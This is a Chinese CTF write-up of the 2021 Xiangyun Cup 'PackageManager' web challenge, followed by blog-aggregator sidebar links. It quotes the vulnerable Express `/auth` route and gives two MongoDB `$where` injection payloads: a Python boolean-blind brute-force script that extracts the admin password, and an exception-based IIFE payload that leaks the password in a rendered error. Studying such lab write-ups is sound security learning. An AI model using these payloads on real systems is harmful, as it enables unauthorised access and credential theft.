当前位置:网站首页>祥云杯 2021 PackageManager writeup
祥云杯 2021 PackageManager writeup
2022-08-10 22:55:00 【ek1ng】
祥云杯 2021 PackageManager writeup
这题在BUUOJ上有复现环境,是个mongodb注入的题目,也有xsleaks的解法但是我目前还没搞明白,以下是两种注入的解法
布尔盲注
注册登录后发现是个包管理的页面,可以创建自己的包,那么根据源码初始化数据库这一部分,比较显然我们需要登录admin的账号然后admin会有个包里面有flag。
那我们的目标就是找到admin用户的密码
漏洞产生的点是/auth接口,auth接口是用于验证submit package的用户是不是admin用户,然后是需要提交一个admin的token,这个token就是admin用户的密码的md5,我们可以在这里构造一下payload然后爆出password,从而实现admin用户登录。
正则检测的waf没有加^$,意味着后面可以加or条件,这个很关键
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});我们构造token:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[0]=="a使得括号内的值为
this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" || this.password[0]=="a"
此时只要或条件成立语句就为真,写个脚本就可以爆出密码啦
import requests
import string
url="http://d8ec246d-507e-4aaa-a226-d318473d31ec.node4.buuoj.cn:81/auth"
headers={
"Cookie": "session=s%3Ay8Ne8sPLeY55QXmWPyh3WmPiuoDgOp6y.U3VuzJCBxWcb5AWW8CCkPJqnSmYJ1N9EnHvoR%2BBuGho",
}
flag = ''
for i in range(10000):
for j in string.printable:
if j == '"':
continue
payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
data={
"_csrf": "YzvJKLZc-4Sp0gfSn-hIRIF4bUZu0nhXy0HU",
"token": payload
}
r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
# print(r.text)
if "Found. Redirecting to" in r.text:
print(payload)
flag+=j
print(flag)
break异常注入
同样的是对auth接口这里逻辑判断,利用了js的抛出异常和IIFE(立即调用函数表达式)来实现
token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin
逻辑判断语句为:this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()!="aaaaa"
这里就是立即执行throw Error(this.password),后面是!=还是== 字符串的值是什么都无所谓,只要是语法没问题然后语句正常执行,这里强制抛出异常,从源码中可以看到抛出的异常会被渲染出来,然后就能够看到password的值
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin""`).exec()
console.log(docs);边栏推荐
- 3598. Binary tree traversal (Huazhong University of Science and Technology exam questions)
- Apache Doris支持的数据类型详解
- 实例052:按位或
- MUI框架开发app中出现的问题
- XSLeaks side channel attack (unfinished)
- XSLeaks 侧信道攻击 (unfinished)
- 房间虚拟样板间vr制作及价格
- HGAME 2022 Final Pokemon v2 writeup
- 实例055:按位取反
- Redis - Use lua script to control the number of wrong passwords and lock the account
猜你喜欢

CFdiv2-Common Number-(奇偶数二分+规律)

Pro-test is effective | A method to deal with missing features of risk control data

3598. Binary tree traversal (Huazhong University of Science and Technology exam questions)

确诊了!是Druid1.1.20的锅,查询无法映射LocalDateTime类型(带源码解析及解决方案)

How to be a Righteous Hacker?What should you study?

DC-8靶场下载及渗透实战详细过程(DC靶场系列)

带你造轮子,自定义一个随意拖拽可吸边的View

小程序制作开发应遵循哪些原则?

实例054:位取反、位移动

EL表达式
随机推荐
虎牙自动发弹幕换牌子
JS学习 2022080
Lambda
MySQL performance schema性能分析实战
koa框架(一)
leetcode:355. 设计推特
Mysql之部分表主从搭建及新增表
windows10安装PostgreSQL14避坑分享
消息队列总结
实例055:按位取反
B站数据分析岗实习生面试记录
线程池如何监控,才能帮助开发者快速定位线上错误?
68: Chapter 6: Develop article services: 1: Content sorting; article table introduction; creating [article] article services;
【uniapp】uniapp微信小程序开发:启动微信开发者工具提示no such file or directory错误
HGAME 2022 Final writeup
德科立科创板上市:年营收7.3亿 市值59亿
国内vr虚拟全景技术领先的公司
小程序平台工具如何选择和使用?
[uniapp] uniapp WeChat applet development: no such file or directory error when starting the WeChat developer tool
开源一夏 | 盘点那些 Golang 标星超过 20 K 的优质项目